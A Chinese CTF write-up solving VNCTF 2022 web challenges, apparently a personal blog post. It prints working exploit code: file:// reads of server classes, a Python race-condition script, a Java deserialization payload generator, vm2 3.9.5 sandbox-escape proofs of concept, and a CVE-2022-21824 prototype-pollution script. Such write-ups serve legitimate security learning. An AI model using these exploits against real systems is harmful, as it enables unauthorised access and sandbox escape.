2022vnctf复现


web

GameV4.0

翻一下js找到base64编码的flag,解码即可得

image-20260108090742803

gocalc0

题目提示

image-20260108091816536

base64解码得

image-20260108091832567

发现中间还一段可以解码,解码得flag

image-20260108091910810

easyJava

考点:java审计(文件读取+条件竞争+简单的java反序列化)

image-20260108093107712

告诉了一个路由,访问得

image-20260108093204027

尝试一下,报错,可以辨认是java的后端

image-20260108093303669

尝试一下发现file可以用

image-20260108093433973

读web目录

1
file:///proc/self/cwd/webapps/ROOT/WEB-INF/

image-20260108100055234

继续读classes目录

1
file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes

image-20260108100218165

1
file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/servlet

image-20260108100317069

把这两个class文件下载后反编译,得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package servlet;

import java.io.IOException;
import java.io.InputStream;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import util.UrlUtil;

@WebServlet(
    name = "FileServlet",
    urlPatterns = {"/file"}
)
public class FileServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String url = req.getParameter("url");
        if (url != null) {
            InputStream responseContent = null;

            try {
                responseContent = UrlUtil.visit(url);
                IOUtils.copy(responseContent, resp.getOutputStream());
                resp.flushBuffer();
            } catch (Exception e) {
                e.printStackTrace();
            } finally {
                responseContent.close();
            }
        } else {
            this.Response(resp, "please input a url");
        }

    }

    private void Response(HttpServletResponse resp, String outStr) throws IOException {
        ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package servlet;

import entity.User;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(
    name = "HelloServlet",
    urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
    private volatile String name = "m4n_q1u_666";
    private volatile String age = "666";
    private volatile String height = "180";
    User user;

    public void init() throws ServletException {
        this.user = new User(this.name, this.age, this.height);
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }

        if (Secr3t.check(this.name)) {
            this.Response(resp, "no vnctf2022!");
        } else {
            if (Secr3t.check(this.name)) {
                this.Response(resp, "The Key is " + Secr3t.getKey());
            }

        }
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String key = req.getParameter("key");
        String text = req.getParameter("base64");
        if (Secr3t.getKey().equals(key) && text != null) {
            Base64.Decoder decoder = Base64.getDecoder();
            byte[] textByte = decoder.decode(text);
            User u = (User)SerAndDe.deserialize(textByte);
            if (this.user.equals(u)) {
                this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
            }
        } else {
            this.Response(resp, "KeyError");
        }

    }

    private void Response(HttpServletResponse resp, String outStr) throws IOException {
        ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

一眼发现漏洞点

image-20260108102031544

但是是要传入密钥key,一个是反序列化一个一样的user对象

首先我们要得到key,但是,要满足第一次 Secr3t.check(this.name) 返回 False (进入 else 分支),第二次 Secr3t.check(this.name) 返回 True (进入打印 Key 的逻辑)。

1
2
3
4
5
6
        if (Secr3t.check(this.name)) {
            this.Response(resp, "no vnctf2022!");
        } else {
            if (Secr3t.check(this.name)) {
                this.Response(resp, "The Key is " + Secr3t.getKey());
            }

那就是条件竞争了,但是线程不要太多,不然buu的靶机会429

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import threading
import time
import os

# 目标 URL
url = "http://a7a4bf00-85a9-41a9-ae63-33950700dd8c.node5.buuoj.cn:81/evi1"

def race(payload, check_result=False):
    while True:
        try:
            # 发送请求
            r = requests.get(url, params={'name': payload}, timeout=3)
            
            # 如果是负责检查的线程,且发现了 Key
            if check_result and "The Key is" in r.text:
                print(f"\n\n[SUCCESS] 拿到 Key 了:\n{r.text}\n")
                os._exit(0) # 直接结束所有线程
            
            # 遇到 429 即使避让
            if "429" in r.text:
                print("x", end="", flush=True) # 打印 x 表示被限流
                time.sleep(2)
            else:
                print(".", end="", flush=True) # 打印 . 表示正常
                
            # 主动休眠 0.2 秒防止发包太快被封
            time.sleep(0.2)
        except:
            pass

print("[-] 开始竞争 Key (按 Ctrl+C 停止)...")

# 开启 3 组线程对冲,既保证并发度,又不至于瞬间把服务器打死
for _ in range(3):
    threading.Thread(target=race, args=("123", True)).start()
    threading.Thread(target=race, args=("vnctf2022", False)).start()

得到

1
Bq0hXOXgd0Fe4uf9wMcjKwCuBDiFb7d7

要反序列化,我们需要在本地生成一个恶意的 User 对象。 要生成这个对象,我们必须知道服务器上 User 类的定义,先读User.class

1
file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/entity/User.clas
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable {
    private String name;
    private String age;
    private transient String height;

    public User(String name, String age, String height) {
        this.name = name;
        this.age = age;
        this.height = height;
    }

    public String getName() {
        return this.name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getAge() {
        return this.age;
    }

    public void setAge(String age) {
        this.age = age;
    }

    public String getHeight() {
        return this.height;
    }

    public void setHeight(String height) {
        this.height = height;
    }

    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        this.height = (String)s.readObject();
    }

    public boolean equals(Object obj) {
        if (obj == null) {
            return false;
        } else if (this == obj) {
            return true;
        } else if (obj instanceof User) {
            User user = (User)obj;
            return user.getAge().equals(this.age) && user.getHeight().equals(this.height) && user.getName().equals(this.name);
        } else {
            return false;
        }
    }

    public String toString() {
        return "User{name='" + this.name + '\'' + ", age='" + this.age + '\'' + ", height='" + this.height + '\'' + '}';
    }
}

接下来生成反序列化 Payload,先创建如下文件

1
2
3
4
payload_gen/
  ├── Exp.java
  └── entity/
      └── User.java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream; // 新增
import java.io.Serializable;

public class User implements Serializable {
    private String name;
    private String age;
    private transient String height;

    public User(String name, String age, String height) {
        this.name = name;
        this.age = age;
        this.height = height;
    }

    // --- 省略 getter/setter/equals/toString,为了保证 serialVersionUID 计算一致,建议保留 ---
    // 但为了代码简洁,且我们没有显式定义 UID,只要字段和方法签名一致即可。
    // 如果服务器报错 InvalidClassException,我们需要把原本的 getter/setter 全补回来。
    // 为了稳妥,我把原本的方法都写在这里,确保 UID 一致。

    public String getName() { return this.name; }
    public void setName(String name) { this.name = name; }
    public String getAge() { return this.age; }
    public void setAge(String age) { this.age = age; }
    public String getHeight() { return this.height; }
    public void setHeight(String height) { this.height = height; }

    // 服务器端的 readObject
    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        this.height = (String)s.readObject();
    }

    // [关键] 我们必须添加这个 writeObject 来配合服务器的 readObject
    private void writeObject(ObjectOutputStream s) throws IOException {
        s.defaultWriteObject(); // 写入 name 和 age
        s.writeObject(this.height); // 手动写入 transient 的 height
    }

    // 必须保留 equals 和 toString 这里的签名,防止 UID 变化
    public boolean equals(Object obj) { return true; } // 本地生成不需要真实逻辑,只要方法存在
    public String toString() { return ""; }
}

这里通过重写一下writeObject方法绕过transient

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import entity.User;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws Exception {
        // 1. 根据 HelloWorldServlet 的 init 方法,我们需要构造完全一样的值
        // private volatile String name = "m4n_q1u_666";
        // private volatile String age = "666";
        // private volatile String height = "180";

        User user = new User("m4n_q1u_666", "666", "180");

        // 2. 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(user);
        oos.close();

        // 3. Base64 编码
        String base64 = Base64.getEncoder().encodeToString(barr.toByteArray());

        System.out.println("Payload 生成成功:");
        System.out.println(base64);
    }
}
1
2
3
4
5
# 编译
javac entity/User.java Exp.java

# 运行
java Exp

得到

1
rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg=

然后post提交参数即可

image-20260108104940806

newcalc0

题目给了源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
  const e = req.body.e;
  if (!e) {
    res.send("wrong?");
    return;
  }
  try {
    res.send(vm.run("module.exports="+e)?.toString() ?? "no");
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

app.use("/source", (req, res) => {
  let p = req.query.path || "/src/index.js";
  p = path.join(path.resolve("."), path.resolve(p));//path.resolve() 有一个特性:如果参数是一个绝对路径(比如 /etc/passwd),它会忽略前面的所有路径,直接返回这个绝对路径。
  console.log(p);
  res.sendFile(p);
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

题目提示了package.json,我们查看一下,由于文件读取有路径拼接,我们直接读source?path=/package.json

image-20260110085445397

发现是vm2的3.9.5版本,找找历史漏洞

1
python exploit.py http://679af2d9-e066-473b-8663-d907936947e3.node5.buuoj.cn:81/eval   

非预期:vm2沙箱逃逸漏洞

挑一个打就是了,不过按当时那个时候应该是打版本<3.9.6那个poc了

image-20260110094326477

po1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
// tested on Node.js 16.10.0
const {VM} = require('vm2');

vmInstance = new VM();    

console.log(vmInstance.run(`    
function foo(ref) {
    new Error().stack;    
}
let obj = {};
Object.defineProperty(Object.prototype, 0, {
    set: function () {                        
        foo(this);
        try {      
            obj[0] = 0;
        } catch (e) {
            e.__proto__.__proto__.__proto__.polluted = 'success';            
        }
    }
})
`));
console.log(polluted);
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// tested with Node.js 17.1.0 and latest vm2 version
// generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator
const {VM} = require('vm2');

vmInstance = new VM();    

vmInstance.run(`
function getRootPrototype(obj) {        
    while (obj.__proto__) {
        obj = obj.__proto__;
    }
    return obj;    
}
function stack(ref, cb) {
    let stack = new Error().stack;
    stack.match(/checkReferenceRecursive/g);        
}
try {            
    global.temp0 = RegExp.prototype.__defineGetter__('global', () => {    
        getRootPrototype(this);                
        stack(this);        
        return true;
    }), function functionInvocationAnalysis(r) {        
        stack(r);
    }(temp0), global.temp0;
    RegExp.prototype.exec = function (str) {        
        stack(arguments);        
    };    
} catch (e) {    
    getRootPrototype(e).polluted = "success";   
}
`);

console.log(polluted);

https://security.snyk.io/vuln/SNYK-JS-VM2-2309905

要满足Object.keys(Object.prototype).length > 0,就可以改变Object.prototype的值,根据js原生链调用的关系,就可以直接写出payload如下

1
getRootPrototype(e).prototype=[1,2,3];

然后使用

1
2
module.exports=Object.keys(Object.prototype);
查看注入是否成功

由于代码有delete Object.prototype['as'],所以要条件竞争,exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import threading

url = "http://7c50a466-3981-4a16-8b30-e50800be1824.node5.buuoj.cn:81/"

def eval_req():
    while True:
        try:
            res = requests.post(url+'eval', data={"e": '''1;function getRootPrototype(obj) {        
    while (obj.__proto__) {
        obj = obj.__proto__;
    }
    return obj;    
}
function stack(ref, cb) {
    let stack = new Error().stack;
    stack.match(/checkReferenceRecursive/g);        
}
try {            
    global.temp0 = RegExp.prototype.__defineGetter__('global', () => {    
        getRootPrototype(this);                
        stack(this);        
        return true;
    }), function functionInvocationAnalysis(r) {        
        stack(r);
    }(temp0), global.temp0;
    RegExp.prototype.exec = function (str) {        
        stack(arguments);        
    };    
} catch (e) {    
 getRootPrototype(e).as=[1,2,3];
 module.exports=Object.keys(Object.prototype);
}'''})
            if res.status_code == 200:
                print(res.text[:50])
        except:
            pass

def flag_req():
    while True:
        try:
            res = requests.get(url+'flag')
            if res.status_code == 200:
                print(res.text[:50])
        except:
            pass

print("开始攻击...")
for _ in range(3):
    threading.Thread(target=eval_req, daemon=True).start()
    threading.Thread(target=flag_req, daemon=True).start()

try:
    while True:
        pass
except KeyboardInterrupt:
    print("停止攻击")

预期解:CVE-2022-21824

Node.js — January 10th 2022 Security Releases

image-20260110102644565

1
console.table([{a:1}], ["__proto__"])
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
第一个参数 [{a:1}]:
这是一个包含普通对象的数组。
这个普通对象 {a:1} 的原型(__proto__)自然指向宿主环境的 Object.prototype。

第二个参数 ["__proto__"]:
这是 properties 参数,用来指定表格要显示哪些列。
当你指定列名为 "__proto__" 时,console.table 会去读取第一个参数中那个对象的 __proto__ 属性(也就是去读 Object.prototype)。

console.table 在构建表格数据时,为了补全某些缺失的单元格或进行格式化,会尝试对读取到的属性(这里变成了 Object.prototype)进行赋值操作。
由于逻辑错误,它会将一个空字符串 "" 赋值给该对象的数字索引键(通常是索引 0)。
结果:Object.prototype[0] = ""。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import threading

url = "http://379829c3-57df-4f97-b824-7fb01a667b3a.node5.buuoj.cn:81/"

def eval_req():
    while True:
        try:
            res = requests.post(url+'eval', data={"e": '''console.table([{a:1}],['__proto__'])'''})
            if res.status_code == 200:
                print(res.text[:50])
        except:
            pass

def flag_req():
    while True:
        try:
            res = requests.get(url+'flag')
            if res.status_code == 200:
                print(res.text[:50])
        except:
            pass

print("开始攻击...")
for _ in range(3):
    threading.Thread(target=eval_req, daemon=True).start()
    threading.Thread(target=flag_req, daemon=True).start()

try:
    while True:
        pass
except KeyboardInterrupt:
    print("停止攻击")
谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计